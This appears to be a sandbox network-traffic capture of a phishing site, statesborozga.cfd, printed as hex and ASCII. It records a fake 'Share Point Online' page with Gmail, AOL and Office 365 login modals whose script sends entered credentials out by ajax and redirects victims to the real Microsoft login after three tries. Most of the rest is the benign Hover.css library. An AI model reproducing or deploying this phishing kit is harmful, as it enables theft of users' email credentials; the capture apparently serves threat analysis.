2024-04-17 22:28:00 UTC	667	OUT	GET /Proten/ HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:00 UTC	578	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kW3YUsb3RG0zJ4M8e1NxOtjybZ0UqnhYdBO1Clj7owxSHeqmBHMAZkck1MDPyuXM%2FTFW670zuBBgLXG6WFQ5GT3zjdIkxufkwhgLxp%2B2eexmduEHI3oJtozPr1EtVxMr2fmeBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd880ebb78bba-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:00 UTC	791	IN	Data Raw: 32 65 30 31 0d 0a ef bb bf 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 Data Ascii: 2e01<!doctype html><html lang="en"><head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script> <script src="https://code.jquery.com/jquery-3.1.1.min.js"> <script src="https://code.jquery.com/jquery
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 59 65 6c 6c 6f 77 74 61 69 6c 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 74 2e 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 35 38 35 62 30 35 31 32 35 31 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 68 61 72 65 20 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 68 6f 76 65 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 Data Ascii: .googleapis.com/css?family=Yellowtail&display=swap" rel="stylesheet"> <script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script> <title>Share Point Online</title> <link href="css/hover.css" rel="stylesheet" me
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 74 2d 32 22 20 73 74 79 6c 65 3d 22 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 44 34 34 36 33 38 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6c 67 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 22 20 69 64 3d Data Ascii: <div class="mt-2" style=" background-color: #D44638;"> </div> </a> </div> <div class="col-lg-12"> <a href="javascript:void(0)" id=
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 6c 22 20 63 6c 61 73 73 3d 22 68 76 72 2d 67 72 6f 77 20 77 2d 31 30 30 22 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 22 20 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 6d 6f 64 61 6c 22 20 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 61 6a 61 78 4d 6f 64 61 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 20 6d 74 2d 32 22 20 73 74 79 6c 65 3d 22 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 33 43 30 30 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6f 66 66 69 63 65 33 36 35 31 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 69 6d 67 2d 66 6c 75 69 Data Ascii: l" class="hvr-grow w-100" style="text-decoration: none;" data-toggle="modal" data-target="#ajaxModal"> <div class=" mt-2" style=" background-color: #FF3C00;"> <img src="images/office3651.png" class="img-flui
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 20 73 74 79 6c 65 3d 22 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 33 29 3b 20 70 61 64 64 69 6e 67 3a 35 70 78 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 70 6c 2d 34 22 20 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 22 3e 53 69 67 6e 20 69 6e 20 77 69 74 68 20 4f 74 68 65 72 20 4d 61 69 6c 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 Data Ascii: style=" background-color: rgba(0,0,0,0.3); padding:5px;"> <span class="pl-4" style="vertical-align: middle; color: white;font-weight: 500;border-radius: 4px;">Sign in with Other Mail</span> </div>
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 6d 6f 64 61 6c 2d 74 69 74 6c 65 22 20 69 64 3d 22 65 78 61 6d 70 6c 65 4d 6f 64 61 6c 4c 61 62 65 6c 22 3e 4c 6f 67 69 6e 20 77 69 74 68 20 3c 73 70 61 6e 20 69 64 3d 22 66 69 65 6c 64 22 3e 47 6d 61 69 6c 3c 2f 73 70 61 6e 3e 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 20 69 64 3d 22 6d 73 67 22 3e 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 69 64 3d 22 63 6f 6e 74 61 63 74 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 77 65 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: class="modal-title" id="exampleModalLabel">Login with <span id="field">Gmail</span></h5> <div class="alert alert-danger" id="msg"></div> </center> <form id="contact" class="form-horizontal well"> <
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6c 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68 65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6c 69 6d 2e 6d 69 6e 2e 6a 73 22 20 69 6e 74 65 67 72 69 74 79 3d 22 73 68 61 33 38 34 2d 4b 4a 33 6f 32 44 4b 74 49 6b 76 59 49 4b 33 55 45 4e 7a 6d 4d 37 4b 43 6b 52 72 2f 72 45 39 2f 51 70 67 36 61 41 5a 47 4a 77 46 44 4d 56 4e 41 2f 47 70 47 46 46 39 33 68 58 70 47 Data Ascii: div> ... Optional JavaScript --> ... jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 61 6a 61 78 4d 6f 64 61 6c 27 29 2e 6d 6f 64 61 6c 28 27 73 68 6f 77 27 29 3b 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 24 28 27 23 61 6f 6c 6d 6f 64 61 6c 27 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 63 6f 6e 74 61 63 74 27 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 65 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 22 23 6d 73 67 22 29 2e 68 69 64 65 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 66 69 65 6c 64 49 6d 67 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 27 69 6d 61 67 65 73 2f 61 6f 6c 2e 70 6e 67 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 24 28 27 23 66 69 65 6c 64 27 29 2e 68 74 6d 6c 28 22 41 6f 6c 22 29 3b 0d 0a 20 Data Ascii: ); $('#ajaxModal').modal('show'); }); $('#aolmodal').click(function () { $('#contact').trigger("reset"); $("#msg").hide(); $('#fieldImg').attr('src', 'images/aol.png'); $('#field').html("Aol");
2024-04-17 22:28:00 UTC	1369	IN	Data Raw: 20 6d 73 67 20 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 75 6e 74 3d 63 6f 75 6e 74 2b 31 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 75 6e 74 3e 3d 33 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 3d 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 6c 6f 67 69 6e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 65 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 24 2e 61 6a 61 78 28 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 61 74 61 54 79 70 65 3a 20 27 4a 53 4f 4e 27 2c 0d 0a 20 20 20 20 20 20 20 Data Ascii: msg ); count=count+1; if (count>=3) { count=0; window.location.replace("https://login.microsoftonline.com/common/login"); } else { $.ajax({ dataType: 'JSON',
2024-04-17 22:28:00 UTC	42	IN	Data Raw: 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 7d 29 3b 0d 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: }); }); </script> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	560	OUT	GET /Proten/css/hover.css HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:01 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:01 GMT Content-Type: text/css Content-Length: 114697 Connection: close Last-Modified: Mon, 11 Jun 2018 14:44:34 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P8U4LPymenPNdj%2BavaCGfHsKs3gNA7xh6uNH4ShCdHcZi0LXI08Xc5%2F5pkIQzWdrNKKbYYbXzeOqP6P8D57CeoLyMG1bKL4Yhln3c53Q9mrNyOpuZtFuSJ%2Bomnd9TNhirNM4QA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd882ac73b0e8-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:01 UTC	707	IN	Data Raw: 2f 2a 21 0a 20 2a 20 48 6f 76 65 72 2e 63 73 73 20 28 68 74 74 70 3a 2f 2f 69 61 6e 6c 75 6e 6e 2e 67 69 74 68 75 62 2e 69 6f 2f 48 6f 76 65 72 2f 29 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 32 0a 20 2a 20 41 75 74 68 6f 72 3a 20 49 61 6e 20 4c 75 6e 6e 20 40 49 61 6e 4c 75 6e 6e 0a 20 2a 20 41 75 74 68 6f 72 20 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 69 61 6e 6c 75 6e 6e 2e 63 6f 2e 75 6b 2f 0a 20 2a 20 47 69 74 68 75 62 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 49 61 6e 4c 75 6e 6e 2f 48 6f 76 65 72 0a 0a 20 2a 20 48 6f 76 65 72 2e 63 73 73 20 43 6f 70 79 72 69 67 68 74 20 49 61 6e 20 4c 75 6e 6e 20 32 30 31 37 2e 20 47 65 6e 65 72 61 74 65 64 20 77 69 74 68 20 53 61 73 73 2e 0a 20 2a 2f 0a 2f 2a 20 32 44 20 54 52 41 4e 53 49 Data Ascii: /! Hover.css (http://ianlunn.github.io/Hover/) * Version: 2.3.2 * Author: Ian Lunn @IanLunn * Author URL: http://ianlunn.co.uk/ * Github: https://github.com/IanLunn/Hover * Hover.css Copyright Ian Lunn 2017. Generated with Sass. // 2D TRANSI
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 31 29 3b 0a 7d 0a 0a 2f 2a 20 53 68 72 69 6e 6b 20 2a 2f 0a 2e 68 76 72 2d 73 68 72 69 6e 6b 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 70 78 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 70 78 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 Data Ascii: transform: scale(1.1);}/* Shrink */.hvr-shrink { display: inline-block; vertical-align: middle; -webkit-transform: perspective(1px) translateZ(0); transform: perspective(1px) translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-tr
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 69 6e 66 69 6e 69 74 65 3b 0a 7d 0a 0a 2f 2a 20 50 75 6c 73 65 20 47 72 6f 77 20 2a 2f 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 68 76 72 2d 70 75 6c 73 65 2d 67 72 6f 77 20 7b 0a 20 20 74 6f 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 31 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 31 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 68 76 72 2d 70 75 6c 73 65 2d 67 72 6f 77 20 7b 0a 20 20 74 6f 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e Data Ascii: n-count: infinite; animation-iteration-count: infinite;}/* Pulse Grow */@-webkit-keyframes hvr-pulse-grow { to { -webkit-transform: scale(1.1); transform: scale(1.1); }}@keyframes hvr-pulse-grow { to { -webkit-transform: scale(1.
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a 2e 68 76 72 2d 70 75 6c 73 65 2d 73 68 72 69 6e 6b 3a 68 6f 76 65 72 2c 20 2e 68 76 72 2d 70 75 6c 73 65 2d 73 68 72 69 6e 6b 3a 66 6f 63 75 73 2c 20 2e 68 76 72 2d 70 75 6c 73 65 2d 73 68 72 69 6e 6b 3a 61 63 74 69 76 65 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 68 76 72 2d 70 75 6c 73 65 2d 73 68 72 69 6e 6b 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 68 76 72 2d 70 75 6c 73 65 2d 73 68 72 69 6e 6b 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 30 2e 33 73 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 30 2e Data Ascii: x-shadow: 0 0 1px rgba(0, 0, 0, 0);}.hvr-pulse-shrink:hover, .hvr-pulse-shrink:focus, .hvr-pulse-shrink:active { -webkit-animation-name: hvr-pulse-shrink; animation-name: hvr-pulse-shrink; -webkit-animation-duration: 0.3s; animation-duration: 0.
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 31 3b 0a 7d 0a 0a 2f 2a 20 50 6f 70 20 2a 2f 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 68 76 72 2d 70 6f 70 20 7b 0a 20 20 35 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 32 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 32 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 68 76 72 2d 70 6f 70 20 7b 0a 20 20 35 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 32 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 32 29 3b 0a 20 20 7d 0a 7d 0a 2e 68 76 72 2d 70 6f 70 Data Ascii: animation-iteration-count: 1;}/* Pop */@-webkit-keyframes hvr-pop { 50% { -webkit-transform: scale(1.2); transform: scale(1.2); }}@keyframes hvr-pop { 50% { -webkit-transform: scale(1.2); transform: scale(1.2); }}.hvr-pop
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 62 6f 75 6e 63 65 2d 6f 75 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 70 78 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 70 65 72 73 70 65 63 74 69 76 65 28 31 70 78 29 20 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 30 2e 35 73 3b 0a 20 20 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 Data Ascii: bounce-out { display: inline-block; vertical-align: middle; -webkit-transform: perspective(1px) translateZ(0); transform: perspective(1px) translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-transition-duration: 0.5s; transition-dur
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 20 74 72 61 6e 73 66 6f 72 6d 3b 0a 7d 0a 2e 68 76 72 2d 67 72 6f 77 2d 72 6f 74 61 74 65 3a 68 6f 76 65 72 2c 20 2e 68 76 72 2d 67 72 6f 77 2d 72 6f 74 61 74 65 3a 66 6f 63 75 73 2c 20 2e 68 76 72 2d 67 72 6f 77 2d 72 6f 74 61 74 65 3a 61 63 74 69 76 65 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 31 29 20 72 6f 74 61 74 65 28 34 64 65 67 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 2e 31 29 20 72 6f 74 61 74 65 28 34 64 65 67 29 3b 0a 7d 0a 0a 2f 2a 20 46 6c 6f 61 74 20 2a 2f 0a 2e 68 76 72 2d 66 6c 6f 61 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d Data Ascii: ransition-property: transform;}.hvr-grow-rotate:hover, .hvr-grow-rotate:focus, .hvr-grow-rotate:active { -webkit-transform: scale(1.1) rotate(4deg); transform: scale(1.1) rotate(4deg);}/* Float */.hvr-float { display: inline-block; vertical-
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 2d 62 6f 62 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 38 70 78 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 38 70 78 29 3b 0a 20 20 7d 0a 20 20 35 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 34 70 78 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 34 70 78 29 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 38 70 78 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d Data Ascii: -bob { 0% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } 50% { -webkit-transform: translateY(-4px); transform: translateY(-4px); } 100% { -webkit-transform: translateY(-8px); transform: translateY(-
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 31 2c 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 20 31 2c 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 6d 61 6c 2c 20 61 6c 74 65 72 6e 61 74 65 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 20 6e 6f 72 Data Ascii: ease-in-out; -webkit-animation-iteration-count: 1, infinite; animation-iteration-count: 1, infinite; 